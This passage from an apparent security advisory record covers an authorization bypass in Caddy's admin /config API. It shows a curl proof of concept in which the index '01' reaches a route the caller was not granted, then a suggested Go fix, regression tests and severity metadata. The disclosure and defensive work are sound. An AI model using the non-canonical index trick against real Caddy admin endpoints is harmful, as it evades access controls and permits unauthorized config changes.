(OUT), TLS alert, close notify (256):\nroot@dbdd95a60758:/caddy# curl -vk \\\n    --resolve localhost:2031:127.0.0.1 \\\n    --cert /caddy/client.crt \\\n    --key /caddy/client.key \\\n    https://localhost:2031/config/apps/http/servers/srv/routes/01\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n*   Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n*  subject: [NONE]\n*  start date: Mar 19 21:59:41 2026 GMT\n*  expire date: Mar 20 09:59:41 2026 GMT\n*  issuer: CN=Caddy Local Authority - ECC Intermediate\n*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n> GET /config/apps/http/servers/srv/routes/01 HTTP/1.1\n> Host: localhost:2031\n> User-Agent: curl/8.5.0\n> Accept: */*\n> \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n< HTTP/1.1 200 OK\n< Content-Type: application/json\n< Etag: \"/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0\"\n< Date: Fri, 20 Mar 2026 02:15:49 GMT\n< Content-Length: 70\n< \n{\"handle\":[{\"body\":\"patched route one\",\"handler\":\"static_response\"}]}\n* Connection #0 to host localhost left intact\nroot@dbdd95a60758:/caddy# \n```\n\n  ## Suggested Fix\n\n  The authorization layer should not allow a path that resolves to a different config object than the one represented by the authorized path.\n\n  A practical fix would be to reject non-canonical numeric array components in /config traversal and/or authorization.\n\n  For example:\n\n  - allow 0\n  - allow 1\n  - reject 01\n  - reject 002\n\n  One possible helper:\n\n```\n  func parseCanonicalIndex(s string) (int, error) {\n  \tif s == \"\" {\n  \t\treturn 0, fmt.Errorf(\"empty index\")\n  \t}\n  \tif s != \"0\" && strings.HasPrefix(s, \"0\") {\n  \t\treturn 0, fmt.Errorf(\"non-canonical array index\")\n  \t}\n  \treturn strconv.Atoi(s)\n  }\n```\n\n  Then use that helper anywhere /config array indices are parsed.\n\n  ## Why This Fix Makes Sense\n\n  This preserves intended config addressing while preventing ambiguous selectors from referring to different objects than the authorization layer appears to permit.\n\n  It would still allow:\n\n  - /routes/0\n  - /routes/1\n\n  but reject:\n\n  - /routes/01\n  - /routes/002\n\n  That removes the authorization/resource mismatch.\n\n  ## Suggested Regression Tests\n\n  1. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/0, expect allowed.\n  2. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/01, expect denied or invalid.\n  3. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/02, expect denied or invalid.\n  4. With PATCH allowed on /.../routes/0, verify that /.../routes/01 cannot modify routes[1].",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/caddyserver/caddy/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.4.0"
      }, {
        "fixed" : "2.11.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/caddyserver/caddy/security/advisories/GHSA-x5w9-xh9r-mvfc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45692"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/caddyserver/caddy"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-187", "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-19T15:51:31Z",
    "nvd_published_at" : "2026-06-23T18:17:59Z"
  }
}